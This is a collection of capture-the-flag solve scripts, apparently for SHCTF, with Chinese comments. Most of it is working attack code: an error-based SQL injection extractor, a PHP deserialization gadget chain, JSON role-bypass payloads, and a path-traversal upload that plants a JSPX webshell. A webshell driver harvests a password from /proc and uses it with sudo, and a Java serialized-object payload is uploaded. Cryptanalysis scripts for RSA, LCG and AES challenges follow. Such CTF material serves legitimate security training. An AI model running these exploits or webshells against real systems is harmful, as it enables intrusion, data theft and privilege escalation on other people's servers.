1
fetch('/uploads/shell.php', {
2
method: 'POST',
3
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
4
body: 'key=114514&code=include("../connect.php"); $stmt=$pdo->prepare("CALL
5
buy_item(3, 100.00)"); $stmt->execute(); var_dump($stmt->fetch());'
6
})
7
.then(res => res.text())
8
.then(console.log);

1
<?php
2
$solB = new Solar();
3
$solB->Jupiter = "invoke";
4
$solB->Saturn = "/flag";
5

6
$solA = new Solar();
7
$solA->Mercury = $solB;
8
$solA->Venus = "ReflectionFunction";
9

10
$earth = new Earth();
11
$earth->onearth = $solA;
12
$earth->inearth = "Sun";
13
$earth->outofearth = "readfile";
14

15
$moon = new Moon();
16
$moon->nearside = $earth;
17

18
$sun = new Sun();
19
$sun->sun = $moon;
20

21
$a = array(0 => $sun, 1 => "trigger");
22
$payload = serialize($a);
23
$payload = str_replace('i:1;s:7:"trigger";', 'i:0;s:7:"trigger";', $payload);
24

25
echo urlencode($payload);
26
?>

1
import requests
2

3
url = "      "
4

5
raw_payload = r"""jsfuck‘"""
6

7
def pwn():
8
    safe_payload = raw_payload.replace('8', '(7+1)') # 避免出现8
9
    safe_payload = "".join(safe_payload.split())
10

11
    try:
12
        res = requests.post(url, json={"expr": safe_payload}, timeout=20)
13
        print(f"{res.status_code}")
14
        print(f"\n{res.text}")
15
    except Exception as e:
16
        print(f"错误: {e}")
17

18
if __name__ == "__main__":
19
    pwn()

1
import requests
2
import re
3

4
target_url = "        "
5

6
def get_res(payload):
7
    full_payload = f"1' and {payload}-- "
8
    try:
9
        r = requests.get(target_url, params={'id': full_payload}, timeout=5)
10
        match = re.search(r"~(.*?)~", r.text)
11
        return match.group(1) if match else None
12
    except Exception as e:
13
        print(f"失败: {e}")
14
        return None
15

16
def solve():
17
    db_name = get_res("updatexml(1,concat(0x7e,database(),0x7e),1)")
18
    print(f"数据库名: {db_name}")
19

20
    table_name = get_res(f"updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='{db_name}' limit 1,1),0x7e),1)")
21
    print(f"{table_name}")
22

23
    column_name = get_res(f"updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='{table_name}' limit 1,1),0x7e),1)")
24
    print(f"{column_name}")
25

26
    print("提取Flag...")
27
    full_flag = ""
28
    for i in range(1, 4):
29
        start = (i-1) * 30 + 1
30
        part = get_res(f"updatexml(1,concat(0x7e,substr((select {column_name} from {table_name} limit 0,1),{start},30),0x7e),1)")
31
        if part:
32
            full_flag += part
33
        else:
34
            break
35

36
    print("\n" + "="*40)
37
    print(f"Flag: {full_flag}")
38
    print("="*40)
39

40
if __name__ == "__main__":
41
    solve()

1
import requests
2

3
url = "        "
4

5
def try_payload(name, data=None, headers=None):
6
    print(f"尝试: {name}")
7
    try:
8
        if isinstance(data, str):
9
            res = requests.post(url, data=data, headers={"Content-Type": "application/json"}, timeout=5)
10
        else:
11
            res = requests.post(url, json=data, timeout=5)
12

13
        print(f"状态: {res.status_code}")
14
        print(f"内容: {res.text}\n")
15
        if "flag{" in res.text.lower():
16
            print("拿下！！！")
17
            return True
18
    except Exception as e:
19
        print(f"失败: {e}")
20
    return False
21

22
try_payload("大小写绕过 (Role)", {"Role": "admin"})
23

24
payload_unicode = '{"role": "\\u0061dmin"}'
25
try_payload("Unicode转义", data=payload_unicode)
26

27
payload_dup = '{"role": "guest", "role": "admin"}'
28
try_payload("重复绕过", data=payload_dup)
29

30
payload_mix = '{"Role": "\\u0061dmin"}'
31
try_payload("混合绕过", data=payload_mix)

1
import requests
2
from requests_toolbelt.multipart.encoder import MultipartEncoder
3
import random
4
import string
5

6
TARGET_IP = "challenge.shc.tf"
7
TARGET_PORT = "端口"
8
BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}"
9
UPLOAD_URL = f"{BASE_URL}/upload.action"
10

11
# 构造webshell
12
SHELL_CONTENT = """<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:scriptlet>
13
    Process p = Runtime.getRuntime().exec("cat /flag");
14
    java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\\\A");
15
    out.println(s.hasNext() ? s.next() : "No output");
16
</jsp:scriptlet></jsp:root>"""
17

18
def get_random_name():
19
    return ''.join(random.choices(string.ascii_lowercase, k=6)) + ".jspx"
20

21
def run_burst():
22
    print(f"深度爆破...")
23

24
    test_paths = []
25
    for i in range(0, 7):
26
        prefix = "../" * i
27
        test_paths.append(prefix)
28
        test_paths.append(f"{prefix}webapps/ROOT/")
29

30
    for path_prefix in test_paths:
31
        filename = get_random_name()
32
        target_traversal_path = f"{path_prefix}{filename}"
33

34
        print(f"利用漏洞中: top.myfileFileName -> {target_traversal_path}")
35

36
        fields = {
37
            'top.myfileFileName': target_traversal_path,
38
            'myfile': (filename, SHELL_CONTENT, 'application/octet-stream')
39
        }
40

41
        m = MultipartEncoder(fields=fields)
42
        headers = {'Content-Type': m.content_type}
43

44
        try:
45
            requests.post(UPLOAD_URL, data=m, headers=headers, timeout=5)
46

47
            verify_url = f"{BASE_URL}/{filename}"
48
            r = requests.get(verify_url, timeout=3)
49

50
            if r.status_code == 200 and "SHCTF{" in r.text:
51
                print("\n" + "="*50)
52
                print(f"成功！")
53
                print(f"路径: {target_traversal_path}")
54
                print(f"Flag: {r.text.strip()}")
55
                print("="*50)
56
                return True
57
            elif r.status_code == 200:
58
                print(f"写入但没有flag，检查回显: {verify_url}")
59
        except Exception:
60
            pass
61

62
    return False
63

64
if __name__ == "__main__":
65
    if not run_burst():
66
        print("\n失败")

1
import requests
2
import base64
3
import re
4

5
url = ".../webshell.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2"
6

7
def run_remote(cmd):
8
    b64_cmd = base64.b64encode(cmd.encode()).decode()
9
    payload = f"passthru(base64_decode('{b64_cmd}'));"
10
    try:
11
        res = requests.get(url, params={'cmd': payload}, timeout=10)
12
        return res.text
13
    except Exception as e:
14
        return str(e)
15

16
def solve():
17
    print("读取密码中...")
18

19
    raw_info = run_remote('cat /proc/25/cmdline | tr "\\0" " "')
20

21
    match = re.search(r'echo\s+([^\s|]+)\s+\|', raw_info)
22

23
    if not match:
24
        print("失败")
25
        return
26

27
    password = match.group(1)
28
    print(f"密码: {password}")
29

30
    print("使用密码执行 sudo cat /flag ...")
31

32
    final_cmd = f'echo "{password}" | script -qc "sudo -S cat /flag" /dev/null'
33

34
    output = run_remote(final_cmd)
35

36
    print("-" * 40)
37
    flag = re.search(r'(flag\{.*\}|shctf\{.*\})', output, re.IGNORECASE)
38
    if flag:
39
        print(f"Flag为: {flag.group(1)}")
40
    else:
41
        print(f"回显:\n{output.strip()}")
42
    print("-" * 40)
43

44
if __name__ == "__main__":
45
    solve()

1
import java.io.Serializable;
2

3
public class Note implements Serializable {
4
    private static final long serialVersionUID = 1L;
5

6
    private String title;
7
    private String message;
8
    private String filePath;
9

10
    public Note(String title, String message, String filePath) {
11
        this.title = title;
12
        this.message = message;
13
        this.filePath = filePath;
14
    }
15

16
    public String getFilePath() {
17
        return filePath;
18
    }
19
}

1
import java.io.*;
2

3
public class Exp {
4
    public static void main(String[] args) throws Exception {
5
        Note myNote = new Note("Exploit", "test", "/flag");
6

7
        FileOutputStream fos = new FileOutputStream("payload.ser");
8
        ObjectOutputStream oos = new ObjectOutputStream(fos);
9
        oos.writeObject(myNote);
10
        oos.close();
11
        System.out.println("[+] Success: payload.ser has been created!");
12
    }
13
}

1
import requests
2

3
url = "http://challenge.shc.tf:端口/upload"
4

5
def solve():
6
    try:
7
        with open("payload.ser", "rb") as f:
8
            data = f.read()
9

10
        print(f"发送中...")
11
        response = requests.post(url, data=data)
12

13
        print("-" * 40)
14
        print(f"{response.status_code}")
15
        print("回显:")
16
        print(response.text.strip())
17
        print("-" * 40)
18

19
    except Exception as e:
20
        print(f"错误: {e}")
21

22
if __name__ == "__main__":
23
    solve()

1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
2
from cryptography.hazmat.primitives import padding
3
import datetime
4

5
def solve():
6
    # 构造密钥
7
    ts = int(datetime.datetime(2001, 11, 26, 0, 0, 0,
8
             tzinfo=datetime.timezone(datetime.timedelta(hours=8))).timestamp())
9

10
    key_str = str(ts * 10**6) * 2
11
    key = key_str.encode("utf-8")
12

13
    iv = bytes.fromhex("d966f3a0c51cd460764b0b62ad10796a")
14
    print(f"Key: {key}")
15

16
    # 读取密文
17
    ciphertexts = []
18
    try:
19
        with open('data.txt', 'r', encoding='utf-8') as f:
20
            for line in f:
21
                line = line.strip()
22
                if line.startswith('|') and line.endswith('|'):
23
                    ct_hex = line.strip('| ').strip()
24
                    ciphertexts.append(ct_hex)
25
    except FileNotFoundError:
26
        print("not found.")
27
        return
28

29
    # 解密
30
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
31
    binary_stream = ""
32

33
    for ct_hex in ciphertexts:
34
        try:
35
            ct = bytes.fromhex(ct_hex)
36
            decryptor = cipher.decryptor()
37
            # 解密
38
            # 去除填充
39
            padded_pt = decryptor.update(ct) + decryptor.finalize()
40

41
            pkcs7 = padding.PKCS7(128)
42
            unpadder = pkcs7.unpadder()
43
            pt = unpadder.update(padded_pt) + unpadder.finalize()
44

45
            binary_stream += pt.decode('utf-8')
46
        except Exception as e:
47
            print(f"Decrypt error: {e}")
48

49
    # 二进制流每7位一组，尝试转换
50
    for i in range(7):
51
        curr = binary_stream if i == 0 else binary_stream[:-i]
52
        try:
53
            flag_int = int(curr, 2)
54
            flag_bytes = flag_int.to_bytes((len(curr) + 7) // 8, 'big')
55
            if b'SHCTF{' in flag_bytes:  # flag特征
56
                print(f"\nFlag: {flag_bytes.decode()}")
57
                break
58
        except:
59
            pass
60

61
if __name__ == "__main__":
62
    solve()

1
def long_to_bytes(n):
2
    return n.to_bytes((n.bit_length() + 7) // 8, 'big')
3

4
d = 13381010831988668939315406679736078064417157389064253385691768500704978358617
5
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299
6
c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
7

8
# 解密
9
m = pow(c, d, n)
10
flag = long_to_bytes(m)
11
print(f"{flag.decode()}")

1
import math
2
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
3

4
# 参数填入
5
P_known = b'Insecure_linear_congruential_random_number!!!!!!'
6
C_known = bytes.fromhex("44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91a")
7
C_flag = bytes.fromhex("1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a")
8

9
# 状态还原
10
S = [bytes_to_long(P_known[i:i+8]) ^ bytes_to_long(C_known[i:i+8]) for i in range(0, len(P_known), 8)]
11

12
# m
13
diffs = [S[i+1] - S[i] for i in range(len(S)-1)]
14
zeros = [abs(diffs[i+2] * diffs[i] - diffs[i+1]**2) for i in range(len(diffs)-2)]
15
m = zeros[0]
16
for z in zeros[1:]: m = math.gcd(m, z)
17
while m % 2 == 0: m //= 2
18

19
# a, c
20
a = ((S[2] - S[1]) * inverse(S[1] - S[0], m)) % m
21
c = (S[1] - a * S[0]) % m
22

23
# 解密
24
curr_s = S[-1]
25
flag_bytes = b""
26
for i in range(0, len(C_flag), 8):
27
    curr_s = (a * curr_s + c) % m
28
    chunk = C_flag[i:i+8]
29
    keystream = long_to_bytes(curr_s, 8)
30
    flag_bytes += bytes([b ^ k for b, k in zip(chunk, keystream)])
31

32
print(flag_bytes.decode('utf-8', errors='ignore').strip('\x00'))

1
from Crypto.Util.number import long_to_bytes
2

3
def extended_gcd(a, b):
4
    if a == 0:
5
        return b, 0, 1
6
    else:
7
        g, y, x = extended_gcd(b % a, a)
8
        return g, x - (b // a) * y, y
9

10
# 参数填入
11
e1 = 740153575
12
e2 = 2865243571
13
n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897
14
c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685
15
c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323
16

17
gcd_val, a, b = extended_gcd(e1, e2)
18

19
if gcd_val == 1:
20
    m = (pow(c1, a, n) * pow(c2, b, n)) % n
21
    print(long_to_bytes(m).decode())
22
else:
23
    print(f"WRONG!!!!!!!")

1
import math
2
from Crypto.Util.number import long_to_bytes
3

4
# 填入参数
5
n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527
6
e = 65537
7
c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
8

9
def fermat_factorization(n):
10
    # 费马分解
11
    a = math.isqrt(n)
12
    if a * a < n:
13
        a += 1
14

15
    while True:
16
        b2 = a * a - n
17
        b = math.isqrt(b2)
18
        if b * b == b2:
19
            return a - b, a + b
20
        a += 1
21

22
# 分解N
23
print("分解中...")
24
p, q = fermat_factorization(n)
25
print("found!")
26

27
phi = (p - 1) * (q - 1)
28
d = pow(e, -1, phi)
29
m = pow(c, d, n)
30

31
print("分组...")
32
flag_str = ""
33
temp_m = m
34
while temp_m > 0:
35
    char_code = temp_m & 0x7F
36
    flag_str += chr(char_code)
37
    temp_m >>= 7
38

39
flag = flag_str[::-1]
40

41
print(f"\nFlag: {flag}")

1
import random
2
from hashlib import md5
3
from Crypto.Cipher import AES
4
from Crypto.Util.number import long_to_bytes
5
import numpy as np
6
import sys
7
import os
8

9
def load_data():
10
    # 读取数据
11
    file_paths = [r"C:\Users\G1731\Downloads\165011_attachment\data.txt", "data.txt"]
12
    p1 = p2 = trace = result = None
13
    for path in file_paths:
14
        if os.path.exists(path):
15
            with open(path, 'r', encoding='utf-8') as f:
16
                for line in f:
17
                    if "=" in line:
18
                        k, v = line.strip().split("=", 1)
19
                        if k.strip() == "p1": p1 = eval(v)
20
                        elif k.strip() == "p2": p2 = eval(v)
21
                        elif k.strip() == "trace": trace = eval(v)
22
                        elif k.strip() == "result": result = v.strip()
23
            break
24
    if not p1:
25
        print("找不到 data.txt"); sys.exit()
26
    return p1, p2, trace, result
27

28
def gaussian_elimination_gf3(matrix, vector):
29
    # 解方程
30
    rows, cols = len(matrix), len(matrix[0])
31
    M = [row[:] + [val] for row, val in zip(matrix, vector)]
32
    pivot_row = 0
33
    for col in range(cols):
34
        if pivot_row >= rows: break
35
        curr = pivot_row
36
        while curr < rows and M[curr][col] % 3 == 0: curr += 1
37
        if curr == rows: continue
38
        M[pivot_row], M[curr] = M[curr], M[pivot_row]
39
        if M[pivot_row][col] % 3 == 2: M[pivot_row] = [(x * 2) % 3 for x in M[pivot_row]]
40
        for i in range(pivot_row + 1, rows):
41
            factor = M[i][col]
42
            if factor != 0: M[i] = [(r - factor * p) % 3 for r, p in zip(M[i], M[pivot_row])]
43
        pivot_row += 1
44

45
    x = [0] * cols
46
    for i in range(rows - 1, -1, -1):
47
        pivot_col = next((j for j, v in enumerate(M[i][:-1]) if v != 0), -1)
48
        if pivot_col == -1: continue
49
        val = M[i][-1]
50
        for j in range(pivot_col + 1, cols): val = (val - M[i][j] * x[j]) % 3
51
        x[pivot_col] = val
52
    return x
53

54
def solve_layer_3(trace_data, result_hex):
55
    # 高斯消元+AES
56
    print("f3逆向中")
57
    good_traces = [t[0] for t in trace_data if t[1] == 1][:140]
58
    mat = [[(n >> i) & 1 for i in range(128)] for n in good_traces]
59
    vec = [1] * len(good_traces)
60

61
    bits = gaussian_elimination_gf3(mat, vec)
62
    key = sum((1 if b == 2 else b) << i for i, b in enumerate(bits))
63
    print(f"Key: {hex(key)}")
64

65
    k = md5(str(key).encode()).digest()
66
    pt = AES.new(k, AES.MODE_CTR, nonce=b"Tiffany\x00").decrypt(bytes.fromhex(result_hex))
67
    return eval(pt.decode())
68

69
def solve_layer_2(p1, p2, data):
70
    # 矩阵还原
71
    print("逆矩阵中")
72
    res = []
73
    for i in range(0, len(data), 16):
74
        x = np.linalg.lstsq(p1, np.array(data[i:i+16]) - p2, rcond=None)[0]
75
        res.extend([int(round(n)) for n in x])
76
    return res
77

78
def solve_layer_1(v):
79
    # 爆破与组装flag
80
    print("爆破中")
81
    for seed in range(100000, 1000000):
82
        random.seed(seed)
83
        r0 = random.randint(100000, 999999)
84
        val0 = v[0] ^ 0
85
        if not ((val0-r0) in [0,2,4,6,8] or (r0!=0 and val0%r0==0 and (val0//r0) in [1,3,5,7,9])):
86
            continue
87

88
        random.seed(seed)
89
        last = 0; digits = []; valid = True
90
        for i, curr in enumerate(v):
91
            val = curr ^ last; r = random.randint(100000, 999999); last = curr
92
            opts = [d for d in [val - r] if d in [0, 2, 4, 6, 8]]
93
            if r != 0 and val % r == 0 and (val // r) in [1, 3, 5, 7, 9]: opts.append(val // r)
94

95
            if not opts:
96
                if i > 50: break # 截断
97
                valid = False; break
98
            digits.append(opts[0] if len(opts) == 1 else (0, 1))
99

100
        if valid and len(digits) > 50:
101
            print(f"得到Seed: {seed}")
102
            return assemble_flag(digits)
103
    return None
104

105
def assemble_flag(digits_struct):
106
    # 歧义去除
107
    print("组装flag中")
108
    sys.setrecursionlimit(10000)
109
    found_flags = []
110

111
    def dfs(idx, curr_str):
112
        if found_flags: return
113

114
        # 补丁
115
        if idx > 15 and idx % 10 == 0:
116
            try:
117
                b = long_to_bytes(int(curr_str + "0" * (len(digits_struct) - idx)))
118
                check_len = len(curr_str) // 3
119
                if not all(32 <= x <= 126 for x in b[:check_len-1]): return
120
            except: pass
121

122
        if idx == len(digits_struct):
123
            try:
124
                flag = long_to_bytes(int(curr_str)).decode()
125
                if "SHCTF{" in flag: found_flags.append(flag)
126
            except: pass
127
            return
128

129
        val = digits_struct[idx]
130
        if isinstance(val, tuple):
131
            dfs(idx + 1, curr_str + "0")
132
            if not found_flags: dfs(idx + 1, curr_str + "1")
133
        else:
134
            dfs(idx + 1, curr_str + str(val))
135

136
    dfs(0, "")
137
    if found_flags:
138
        print(f"\n[SUCCESS] {found_flags[0]}")
139
    else:
140
        print("Flag组装失败。")
141

142
if __name__ == "__main__":
143
    p1, p2, trace, result = load_data()
144
    data = solve_layer_3(trace, result)
145
    v_vec = solve_layer_2(p1, p2, data)
146
    solve_layer_1(v_vec)